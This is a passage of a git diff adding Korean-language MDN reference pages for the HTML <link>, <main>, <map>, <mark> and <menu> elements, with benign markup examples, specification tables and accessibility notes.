+ <dt>{{HTMLAttrDef("charset")}} {{Obsolete_Inline}}</dt>
+ <dd>This attribute defines the character encoding of the linked resource. The value is a space- and/or comma-delimited list of character sets as defined in {{rfc(2045)}}. The default value is <code>iso-8859-1</code>.
+ <div class="note"><strong>Usage note:</strong> To produce the same effect as this obsolete attribute, use the {{HTTPHeader("Content-Type")}} HTTP header on the linked resource.</div>
+ </dd>
+ <dt>{{HTMLAttrDef("rev")}} {{Obsolete_Inline}}</dt>
+ <dd>The value of this attribute shows the relationship of the current document to the linked document, as defined by the {{HTMLAttrxRef("href", "link")}} attribute. The attribute thus defines the reverse relationship compared to the value of the <code>rel</code> attribute. <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Link_types">Link type values</a> for the attribute are similar to the possible values for {{HTMLAttrxRef("rel", "link")}}.</dd>
+ <dd>
+ <div class="blockIndicator note">
+ <p><strong>Note:</strong> This attribute is considered obsolete by the WHATWG HTML living standard (which is the specification MDN treats as canonical). However, it's worth noting that <code>rev</code> is <em>not</em> considered obsolete in the W3C specification. That said, given the uncertainty, relying on <code>rev</code> is unwise.</p>
+
+ <p>Instead, you should use the {{HTMLAttrxRef("rel", "link")}} attribute with the opposite <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Link_types">link type value</a>. For example, to establish the reverse link for <code>made</code>, specify <code>author</code>. Also this attribute doesn't stand for "revision" and must not be used with a version number, even though many sites misuse it in this way.</p>
+ </div>
+ </dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="스타일_시트_포함하기">스타일 시트 포함하기</h3>
+
+<p>페이지에 스타일 시트를 포함하려면 다음 구문을 사용하세요.</p>
+
+<pre class="brush: html notranslate">&lt;link href="style.css" rel="stylesheet"&gt;
+</pre>
+
+<h3 id="대체_스타일시트_제공하기">대체 스타일시트 제공하기</h3>
+
+<p><a href="/en-US/docs/Web/CSS/Alternative_style_sheets">대체 스타일시트</a>를 제공할 수도 있습니다.</p>
+
+<p>유저는 View&gt;Page Style 메뉴에서 사용할 스타일시트를 고를수 있습니다. 이것은 유저가 페이지를 여러 버전으로 볼수 있는 방법을 제공합니다.</p>
+
+<pre class="brush: html notranslate">&lt;link href="default.css" rel="stylesheet" title="Default Style"&gt;
+&lt;link href="fancy.css" rel="alternate stylesheet" title="Fancy"&gt;
+&lt;link href="basic.css" rel="alternate stylesheet" title="Basic"&gt;
+</pre>
+
+<h3 id="Providing_icons_for_different_usage_contexts">Providing icons for different usage contexts</h3>
+
+<p>You can include links to several different icons on the same page, and the browser will choose which one works best for its particular context using the <code>rel</code> and <code>sizes</code> values as hints.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;!-- third-generation iPad with high-resolution Retina display: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="144x144" href="favicon144.png"&gt;
+&lt;!-- iPhone with high-resolution Retina display: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="114x114" href="favicon114.png"&gt;
+&lt;!-- first- and second-generation iPad: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="72x72" href="favicon72.png"&gt;
+&lt;!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" href="favicon57.png"&gt;
+&lt;!-- basic favicon --&gt;
+&lt;link rel="icon" href="favicon32.png"&gt;</pre>
+
+<h3 id="스타일_시트_load_이벤트">스타일 시트 load 이벤트</h3>
+
+<p>당신은 load 이벤트를 통해 스타일시트가 언제 로드되는지 확인할수 있습니다. 비슷한 방법으로, 당신은 error 이벤트를 통해 스타일시트를 처리하는 도중 에러가 발생했는지 확인할 수 있습니다:</p>
+
+<pre class="brush: html notranslate">&lt;script&gt;
+function sheetLoaded() {
+  // Do something interesting; the sheet has been loaded
+}
+
+function sheetError() {
+  alert("An error occurred loading the stylesheet!");
+}
+&lt;/script&gt;
+
+&lt;link rel="stylesheet" href="mystylesheet.css" onload="sheetLoaded()" onerror="sheetError()"&gt;
+</pre>
+
+<div class="note"><strong>참고:</strong> The <code>load</code> event fires once the stylesheet and all of its imported content has been loaded and parsed, and immediately before the styles start being applied to the content.</div>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>메타데이터 콘텐츠. <code><a href="/ko/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code>이 존재하면 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a> 및 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th>가능한 콘텐츠</th>
+   <td>없음. {{Glossary("empty element", "빈 요소")}}입니다.</td>
+  </tr>
+  <tr>
+   <th>태그 생략</th>
+   <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+  </tr>
+  <tr>
+   <th>가능한 부모 요소</th>
+   <td>메타데이터 콘텐츠를 허용하는 모든 요소. <code><a href="/ko/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code>이 존재하면 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th>DOM 인터페이스</th>
+   <td>{{DOMxRef("HTMLLinkElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No changes from latest snapshot</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Added <code>crossorigin</code> and <code>sizes</code> attributes; extended values of <code>media</code> to any media queries; added numerous new values for <code>rel</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.3', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.link", 3)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Link")}} HTTP 헤더</li>
+</ul>
diff --git a/files/ko/web/html/element/main/index.html b/files/ko/web/html/element/main/index.html
new file mode 100644
index 0000000000..3ac94eb7d0
--- /dev/null
+++ b/files/ko/web/html/element/main/index.html
@@ -0,0 +1,172 @@
+---
+title: <main>
+slug: Web/HTML/Element/main
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - HTML sections
+  - Reference
+translation_of: Web/HTML/Element/main
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;main&gt;</code> 요소</strong>는 문서 {{HTMLElement("body")}}의 주요 콘텐츠를 나타냅니다. 주요 콘텐츠 영역은 문서의 핵심 주제나 앱의 핵심 기능에 직접적으로 연결됐거나 확장하는 콘텐츠로 이루어집니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/main.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>{{htmlattrxref("hidden")}} 속성 없이는 문서에 하나보다 많은 <code>&lt;main&gt;</code> 요소가 존재해선 안됩니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content_categories#Flow_content">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content_categories#Flow_content">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 요소. 단, <a href="https://html.spec.whatwg.org/multipage/grouping-content.html#hierarchically-correct-main-element">구조적으로 올바른 <code>&lt;main&gt;</code> 요소</a>여야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>기본적으로 <code>main</code> 역할 포함, {{ARIARole("presentation")}} 가능.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;main&gt;</code> 요소의 콘텐츠는 문서의 유일한 내용이어야 합니다. 사이드바, 탐색 링크, 저작권 정보, 사이트 로고, 검색 폼 등 여러 문서에 걸쳐 반복되는 콘텐츠는 포함해선 안됩니다. 그러나 검색 폼이 페이지의 주요 기능이라면 예외로 둘 수 있습니다.</p>
+
+<p><code>&lt;main&gt;</code>은 요소 개요에 영향을 주지 않습니다. {{htmlelement("body")}} 등의 요소나 {{htmlelement("h2")}}와 같은 제목 요소와 달리 <code>&lt;main&gt;</code>은 페이지의 개념적 구조를 바꾸지 않으며 온전히 정보 제공용입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;!-- other content --&gt;
+
+&lt;main&gt;
+  &lt;h1&gt;Apples&lt;/h1&gt;
+  &lt;p&gt;The apple is the pomaceous fruit of the apple tree.&lt;/p&gt;
+
+  &lt;article&gt;
+    &lt;h2&gt;Red Delicious&lt;/h2&gt;
+    &lt;p&gt;These bright red apples are the most common found in many
+    supermarkets.&lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+  &lt;/article&gt;
+
+  &lt;article&gt;
+    &lt;h2&gt;Granny Smith&lt;/h2&gt;
+    &lt;p&gt;These juicy, green apples make a great filling for
+    apple pies.&lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+  &lt;/article&gt;
+
+&lt;/main&gt;
+
+&lt;!-- other content --&gt;</pre>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<h3 id="랜드마크">랜드마크</h3>
+
+<p><code>&lt;main&gt;</code> 요소는 <a href="/ko/docs/Web/Accessibility/ARIA/Roles/Main_role"><code>main</code> 랜드마크</a> 역할과 동일하게 행동합니다. <a href="/ko/docs/Web/Accessibility/ARIA/ARIA_Techniques">랜드마크</a>는 접근성 보조기술이 문서의 큰 구획을 찾고 이동할 때 쓰입니다. 구형 브라우저를 지원할 필요가 없다면, <code>role="main"</code>보다 <code>&lt;main&gt;</code> 요소를 사용하세요.</p>
+
+<h3 id="건너뛰기_링크">건너뛰기 링크</h3>
+
+<p>건너뛰기 링크, 스킵 내비게이션(skipnav)은 접근성 보조기술이 주요 탐색 구획, 정보 배너 등 반복되는 큰 구획을 빠르게 넘어갈 수 있도록 지원하는 기법으로, 사용자가 페이지의 주요 내용으로 신속하게 접근할 수 있도록 도와줍니다.</p>
+
+<p><code>&lt;main&gt;</code> 요소에 {{htmlattrxref("id")}} 요소를 추가해 건너뛰기 링크의 대상으로 지정하세요.</p>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;a href="#main-content"&gt;Skip to main content&lt;/a&gt;
+
+  &lt;!-- navigation and header content --&gt;
+
+  &lt;main id="main-content"&gt;
+    &lt;!-- main page content --&gt;
+  &lt;/main&gt;
+&lt;/body&gt;
+</pre>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/skipnav/">WebAIM: "Skip Navigation" Links</a></li>
+</ul>
+
+<h3 id="읽기_모드">읽기 모드</h3>
+
+<p>브라우저 읽기 모드는 문서 콘텐츠를 변환할 때 <code>&lt;main&gt;</code> 요소와 더불어 <a href="/ko/docs/Web/HTML/Element/Heading_Elements">제목</a>과 <a href="/ko/docs/Web/HTML/Element#콘텐츠_구획">콘텐츠 구획</a> 요소를 사용합니다.</p>
+
+<ul>
+ <li><a href="https://medium.com/@mandy.michael/building-websites-for-safari-reader-mode-and-other-reading-apps-1562913c86c9">Building websites for Safari Reader Mode and other reading apps.</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>대부분의 브라우저에서 <code>&lt;main&gt;</code> 요소를 지원합니다. 그러나 Internet Explorer 11 이하를 지원할 땐 <code>&lt;main&gt;</code> 요소에 <code>"main"</code> {{glossary("ARIA")}} 역할을 명시해 접근성을 확보하는 것이 좋습니다.</p>
+
+<pre class="brush: html">&lt;main role="main"&gt;
+  ...
+&lt;/main&gt;
+</pre>
+
+
+
+<p>{{Compat("html.elements.main")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>기본 구조 요소: {{HTMLElement("html")}}, {{HTMLElement("head")}}, {{HTMLElement("body")}}</li>
+ <li>구획 관련 요소: {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, {{HTMLElement("nav")}}</li>
+ <li><a href="/ko/docs/Web/Accessibility/ARIA/Roles/Main_role">ARIA: Main role</a></li>
+</ul>
diff --git a/files/ko/web/html/element/map/index.html b/files/ko/web/html/element/map/index.html
new file mode 100644
index 0000000000..a990f09dce
--- /dev/null
+++ b/files/ko/web/html/element/map/index.html
@@ -0,0 +1,121 @@
+---
+title: <map>
+slug: Web/HTML/Element/map
+tags:
+  - Element
+  - HTML
+  - HTML embedded content
+  - Multimedia
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/map
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;map&gt;</code> 요소</strong>는 {{htmlelement("area")}} 요소와 함께 이미지 맵(클릭 가능한 링크 영역)을 정의할 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/map.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>모든 <a href="/ko/docs/Web/Guide/HTML/Content_categories#투명_콘텐츠_모델">투명한</a> 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLMapElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>맵을 참조할 때 사용할 수 있는 이름. 반드시 존재해야 하고, 값이 비면 안되며, 값에 공백 문자가 포함되어도 안됩니다. <code>name</code> 특성은 문서 내의 모든 <code>&lt;map&gt;</code>에서 유일해야 합니다. {{htmlattrxref("id")}} 특성이 존재하는 경우 <code>name</code>과 값이 동일해야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;map name="primary"&gt;
+  &lt;area shape="circle" coords="75,75,75" href="left.html"&gt;
+  &lt;area shape="circle" coords="275,75,75" href="right.html"&gt;
+&lt;/map&gt;
+&lt;img usemap="#primary" src="https://placehold.it/350x150" alt="350 x 150 pic"&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "350", "150")}}</p>
+
+<h3 id="예상_결과">예상 결과</h3>
+
+<p>키보드의 탭을 눌렀을 때, 위의 예제는 아래 사진처럼 나와야 합니다.</p>
+
+<p><code>left.html</code> 링크:<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/14595/Screen%20Shot%202017-02-02%20at%2010.48.40%20PM.png" style="height: 156px; width: 356px;"></p>
+
+<p><code>right:html</code> 링크:<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/14597/Screen%20Shot%202017-02-02%20at%2010.49.04%20PM.png" style="height: 157px; width: 355px;"></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-map-element', '&lt;map&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics-embedded-content.html#the-map-element', '&lt;map&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.6.1', '&lt;map&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.map")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("a")}}</li>
+ <li>{{HTMLElement("area")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/mark/index.html b/files/ko/web/html/element/mark/index.html
new file mode 100644
index 0000000000..77a5325fc5
--- /dev/null
+++ b/files/ko/web/html/element/mark/index.html
@@ -0,0 +1,161 @@
+---
+title: <mark>
+slug: Web/HTML/Element/mark
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/mark
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;mark&gt;</code> 요소</strong>는 현재 맥락에 관련이 깊거나 중요해 표시 또는 하이라이트한 부분을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/mark.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>일반적인 <code>&lt;mark&gt;</code> 요소의 사용처는 다음과 같습니다.</p>
+
+<ul>
+ <li>인용문({{HTMLElement("q")}}, {{HTMLElement("blockquote")}})에서는, 원본엔 별도 표시가 없으나 특별히 봐야 하는 부분을, 그리고 원저자는 특별히 중요하다고는 생각하지 않았으나 주시해야 할 필요가 있는 부분을 표시합니다. 형광펜을 사용해 중요해 보이는 책에 강조 표시를 추가하는 것처럼 생각하면 됩니다.</li>
+ <li>다른 경우, <code>&lt;mark&gt;</code>는 문서 콘텐츠에서 사용자의 현재 행동과 관련 있는 부분을 나타낼 때 사용합니다. 예를 들어, 현재 검색 키워드를 강조 표시할 때 사용할 수 있습니다.</li>
+ <li><code>&lt;mark&gt;</code>를 표시만을 위한 용도로 사용하지 마세요. {{htmlelement("span")}}과 적절한 CSS를 대신 사용해야 합니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><code>&lt;mark&gt;</code>와 {{HTMLElement("strong")}} 요소의 차이점을 기억하세요. 텍스트에서, <code>&lt;mark&gt;</code>는 연관성을 가진 부분을, <code>&lt;strong&gt;</code>은 중요도를 가진 부분을 나타낼 때 사용합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="관심_부분_표시하기">관심 부분 표시하기</h3>
+
+<p>첫 예제의 <code>&lt;mark&gt;</code> 요소는 인용문에서 사용자가 관심을 가질 텍스트를 강조할 때 사용합니다.</p>
+
+<pre class="brush: html">&lt;blockquote&gt;
+  It is a period of civil war. Rebel spaceships, striking from a
+  hidden base, have won their first victory against the evil
+  Galactic Empire. During the battle, &lt;mark&gt;Rebel spies managed
+  to steal secret plans&lt;/mark&gt; to the Empire’s ultimate weapon,
+  the DEATH STAR, an armored space station with enough power to
+  destroy an entire planet.
+&lt;/blockquote&gt;</pre>
+
+<p>{{EmbedLiveSample("관심_부분_표시하기", 650, 130)}}</p>
+
+<h3 id="상황에_맞는_구절_식별">상황에 맞는 구절 식별</h3>
+
+<p>다음 예제는 글의 검색 결과를 강조할 용도로 <code>&lt;mark&gt;</code>를 사용합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;It is a dark time for the Rebellion. Although the Death
+Star has been destroyed, &lt;mark class="match"&gt;Imperial&lt;/mark&gt;
+troops have driven the Rebel forces from their hidden base and
+pursued them across the galaxy.&lt;/p&gt;
+
+&lt;p&gt;Evading the dreaded &lt;mark class="match"&gt;Imperial&lt;/mark&gt;
+Starfleet, a group of freedom fighters led by Luke Skywalker
+has established a new secret base on the remote ice world of
+Hoth.&lt;/p&gt;</pre>
+
+<p>다른 <code>&lt;mark&gt;</code>와 검색 결과 표시를 구별하기 위해 사용자 지정 클래스 <code>"match"</code>를 추가로 적용했습니다.</p>
+
+<p>{{EmbedLiveSample("상황에_맞는_구절_식별", 650, 130)}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>대부분의 스크린 리더는 기본값에서 <code>&lt;mark&gt;</code> 요소의 존재를 표현하지 않습니다. 그러나 CSS {{cssxref("content")}} 속성과 {{cssxref("::before")}}, {{cssxref("::after")}} 의사 요소를 사용하면 소리내어 읽도록 할 수 있습니다.</p>
+
+<pre class="brush: css">mark::before,
+mark::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+mark::before {
+  content: " [강조 시작] ";
+}
+
+mark::after {
+  content: " [강조 끝] ";
+}
+</pre>
+
+<p>스크린 리더 사용자 일부는 지나치게 자세한 안내를 유발할 수 있는 콘텐츠의 표현을 의도적으로 꺼놓습니다. 그러므로 이 방식을 남용해선 안되며, 콘텐츠의 이해에 강조표시의 유무가 꼭 필요할 때만 사용해야 합니다.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">Short note on making your mark (more accessible) | The Paciello Group</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html">Tweaking Text Level Styles | Adrian Roselli</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-mark-element', '&lt;mark&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-mark-element', '&lt;mark&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.mark")}}</p>
diff --git a/files/ko/web/html/element/menu/index.html b/files/ko/web/html/element/menu/index.html
new file mode 100644
index 0000000000..c6034eb98e
--- /dev/null
+++ b/files/ko/web/html/element/menu/index.html
@@ -0,0 +1,132 @@
+---
+title: <menu>
+slug: Web/HTML/Element/menu
+translation_of: Web/HTML/Element/menu
+---
+<div>{{HTMLRef}}{{SeeCompatTable}}</div>
+
+<p><strong>HTML <code>&lt;menu&gt;</code> 요소</strong>는 사용자가 수행하거나 하는 명령 묶음을 말합니다. 이것은 스크린 위에 나오는 목록 메뉴와 눌려진 버튼 아래에 나오는 것과 같은 맥락 메뉴를 포함합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>. Additionally, if in the <em>list menu</em> state, palpable content. (<em>list menu</em> is the default state, unless the parent element is a {{HTMLElement("menu")}} in the <em>context menu</em> state.)</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>If the element is in the <em>list menu</em> state: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, or alternatively, zero or more occurrences of {{HTMLElement("li")}}, {{HTMLElement("script")}}, and {{HTMLElement("template")}}.<br>
+    If the element is in the <em>context menu</em> state: zero or more occurrences, in any order, of {{HTMLElement("menu")}} (<em>context menu</em> state only), {{HTMLElement("menuitem")}}, {{HTMLElement("hr")}}, {{HTMLElement("script")}}, and {{HTMLElement("template")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parent elements</th>
+   <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLMenuElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<p>이 요소는 <a href="/en-US/docs/Web/HTML/Global_attributes">전역 속성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>사용자에게 보여지는 메뉴의 이름입니다. Used within nested menus, to provide a label through which the submenu can be accessed. Must only be specified when the parent element is a {{HTMLElement("menu")}} in the <em>context menu</em> state.</dd>
